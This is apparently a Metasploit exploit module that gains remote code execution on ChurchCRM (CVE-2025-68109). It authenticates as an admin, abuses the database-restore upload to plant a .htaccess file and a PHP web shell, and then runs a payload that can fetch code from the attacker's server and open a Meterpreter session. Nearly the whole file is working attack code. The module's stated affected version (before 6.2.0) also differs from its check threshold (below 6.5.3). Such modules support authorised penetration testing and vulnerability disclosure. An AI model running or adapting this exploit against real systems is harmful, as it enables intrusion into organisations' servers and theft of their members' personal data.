##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'ChurchCRM Database Restore RCE 6.2.0',
        'Description' => %q{
          This module exploits a Remote Code Execution (RCE) vulnerability in ChurchCRM
          versions prior to 6.2.0. The vulnerability resides in the Database Restore
          functionality, which allows an authenticated user with administrative privileges
          to upload a malicious backup file. By bypassing upload restrictions via a
          crafted .htaccess file, the module enables PHP code execution in the target
          directory, ultimately providing the attacker with a Meterpreter shell.
        },
        'License' => MSF_LICENSE,
        'Author' => ['LucasCsmt'],
        'References' => [
          [ 'GHSA', 'pqm7-g8px-9r77'],
          [ 'CVE', '2025-68109']
        ],
        'Platform' => ['linux', 'php'],
        'Targets' => [
          [
            'Linux/unix Command (CmdStager)',
            {
              'Arch' => [ ARCH_X86, ARCH_X64 ],
              'Platform' => ['linux'],
              'Type' => :nix_cmdstager,
              'CmdStagerFlavor' => [
                'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
              ]
            }
          ],
          [
            'PHP (In-Memory)',
            {
              'Arch' => [ ARCH_PHP ],
              'Platform' => ['php'],
              'Type' => :php_memory
            }
          ],
          [
            'PHP (Fetch)',
            {
              'Arch' => [ ARCH_PHP ],
              'Platform' => ['php'],
              'Type' => :php_fetch
            }
          ],
        ],
        'DisclosureDate' => '2025-12-17',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Base path', '/']),
        OptString.new('USERNAME', [true, 'Username for the admin account', 'admin']),
        OptString.new('PASSWORD', [true, 'Password for the admin account', nil])
      ]
    )
  end

  # Check if the target is up by accessing the login page
  def check
    vprint_status('Checking if the target is reachable...')

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'session', 'begin')
    })

    unless [200, 301, 302].include?(res.code)
      return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}")
    end

    version = res.headers['CRM-VERSION']
    if version
      print_status("Found ChurchCRM version: #{version}")
      if Rex::Version.new(version) < Rex::Version.new('6.5.3')
        return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
      else
        return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
      end
    end
    if res.body.include?('ChurchCRM')
      return Exploit::CheckCode::Detected('ChurchCRM detected, but the version could not be determined.')
    end

    Exploit::CheckCode::Safe('The target does not appear to be ChurchCRM.')
  end

  # Build the payload that will be into the installation form
  #
  # @return : the payload
  def build_payload
    case target['Type']
    when :php_memory
      b64_payload = Rex::Text.encode_base64(payload.encoded)
      "<?php eval(base64_decode(\"#{b64_payload}\")); ?>"
    when :php_fetch
      payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
      "<?php $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); ?>"
    else
      "<?php if(isset($_GET['cmd'])){system($_GET['cmd'].' 2>&1');} ?>"
    end
  end

  # Get the session cookie of the specified user
  #
  # @return : the session cookie
  def get_cookie
    print_status 'Getting the session cookie'
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'session', 'begin'),
      'vars_post' => {
        'User' => datastore['USERNAME'],
        'Password' => datastore['PASSWORD']
      }
    })

    fail_with(Failure::Unreachable, 'No answer from the server') unless res
    fail_with(Failure::NoAccess, 'Authentication error : Invalid login or password') if res.body.include?('Invalid login or password')
    fail_with(Failure::NoAccess, 'Authentication error : This account have been locked') if res.body.include?('Too many failed logins')
    fail_with(Failure::UnexpectedReply, "Invalid status code : #{res.code}") unless [200, 301, 302].include?(res.code)

    cookie = res.get_cookies
    fail_with(Failure::UnexpectedReply, 'No cookies found') if cookie.blank?

    print_good 'The session cookie has been received'
    cookie
  end

  # Handles the incoming HTTP request and serves the payload to the target.
  def on_request_uri(cli, _request)
    p = payload.encoded
    send_response(cli, p, {
      'Content-Type' => 'application/x-httpd-php',
      'Pragma' => 'no-cache'
    })
  end

  def execute_command(cmd, _opts = {})
    send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name),
      'vars_get' => { 'cmd' => cmd }
    })
  end

  # Upload a file exploiting the database resotre functionality
  #
  # @param : file_name, the name of the file to upload
  # @param : content, the content of the file to upload
  def upload_file(file_name, content)
    print_status "Uploading the file : #{file_name}"
    data = Rex::MIME::Message.new
    data.add_part(
      content,
      'application/octet-stream',
      nil,
      "form-data; name=\"restoreFile\"; filename=\"#{file_name}\""
    )
    data.add_part('', nil, nil, 'form-data; name="restorePassword"')

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'api', 'database', 'restore'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'cookie' => @cookie
    })
    fail_with(Failure::Unreachable, 'No answer from the server') unless res
    # The server returns a 500 error because the uploaded file is not a valid backup file, but the file is still uploaded before the crash.
    fail_with(Failure::NotVulnerable, 'Invalid status code, the target may not be vulnerable') unless res.code == 500
    print_good 'The file have been uploaded successfully'
  end

  # Execute the payload
  def execute_payload
    print_status 'Trying to execute the payload'
    if target['Type'] == :nix_cmdstager
      execute_cmdstager(
        linemax: 500,
        nodelete: false,
        background: true,
        temp: '/tmp'
      )
    else
      send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name)
      })
    end
    print_good 'Payload successfully executed'
  end

  def exploit
    if target['Type'] == :php_fetch
      print_status('Starting HTTP server to serve the payload...')
      start_service
    end

    @cookie = get_cookie

    upload_file '.htaccess', "Allow from all\n"
    register_file_for_cleanup('.htaccess')

    @payload_name = rand_text_alpha(5..10) + '.php'
    upload_file @payload_name, build_payload
    register_file_for_cleanup(@payload_name)

    execute_payload
  end
end